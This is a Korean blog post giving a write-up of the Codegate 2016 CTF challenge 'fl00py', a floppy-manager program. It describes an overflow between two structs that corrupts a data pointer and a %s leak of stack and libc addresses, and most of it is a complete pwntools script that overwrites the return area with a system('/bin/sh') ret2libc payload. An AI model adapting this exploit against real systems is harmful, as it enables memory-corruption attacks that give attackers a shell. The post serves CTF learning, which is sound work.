cdor1's lab
Codegate 2016 fl00py 본문
이런 메뉴를 가지고 있는 플로피 관리 프로그램이다.
floppy1과 floppy2라는 구조체가 존재하는데
(구조 : flag(4), data_addr(4), desc(12), length(4))
37바이트를 받아서 floppy + 8에 그대로 복사해주는 바람에 floppy1에서 floppy2의 data를 침범 가능하다.
read메뉴에서 %s로 data를 읽어와 주니까 leak을 통해 stack주소와
ret영역에 적혀있는 __libc_start_main을 얻어 system과 binsh 주소를 함께 얻어낼 수 있다.
exit 할 때 이런 과정을 거치게 되므로
floppy1의 data_addr를 ebp-8부분으로 overwrite해서
payload 넣고 get shell
from pwn import *
s = process('fl00py')
def choose(select):
print s.recvuntil('>')
s.sendline('1')
print s.recvuntil('Which floppy do you want to use? 1 or 2?')
s.sendline(str(select))
def write(data, desc):
print s.recvuntil('>')
s.sendline('2')
print s.recvuntil('Input your data:')
s.sendline(data)
print s.recvuntil('Description:')
s.sendline(desc)
def read():
print s.recvuntil('>')
s.sendline('3')
def modify(select, data):
print s.recvuntil('>')
s.sendline('4')
print s.recvuntil('Which one do you want to modify? 1 Description | 2 Data')
s.sendline(str(select))
print s.recv(2048)
s.sendline(data)
choose(1)
write('aaaa', 'bbbb')
modify(1, 'a'*16)
read()
print s.recvuntil('a'*16)
stack = u32(s.recv(4))
log.info('stack : ' + hex(stack))
modify(1, 'b'*32)
choose(1)
read()
print s.recvuntil('b'*16 + p32(stack) + 'b'*12)
libc_main = u32(s.recv(4)) - 243
base = libc_main - 0x199e0
system = base + 0x3fe70
binsh = base + 0x15DA8C
log.info('libc_main : ' + hex(libc_main))
log.info('base : ' + hex(base))
log.info('system : ' + hex(system))
log.info('binsh : ' + hex(binsh))
choose(2)
write('aaaa', 'bbbb')
modify(1, 'a'*20 + p32(stack + 0x1c))
choose(1)
modify(2, p32(stack + 0x3c) + 'a'*24 + p32(system) + 'aaaa' + p32(binsh))
s.sendline('5')
s.interactive()
'Security > Pwnable' 카테고리의 다른 글
New 공유기 vector (0) | 2017.03.22 |
---|---|
Codegate 2016 Oldschool (0) | 2017.03.21 |
pwntools TIP (0) | 2017.03.18 |
pwnable.kr asm (0) | 2017.03.18 |
공유기 vector (0) | 2017.03.17 |
Comments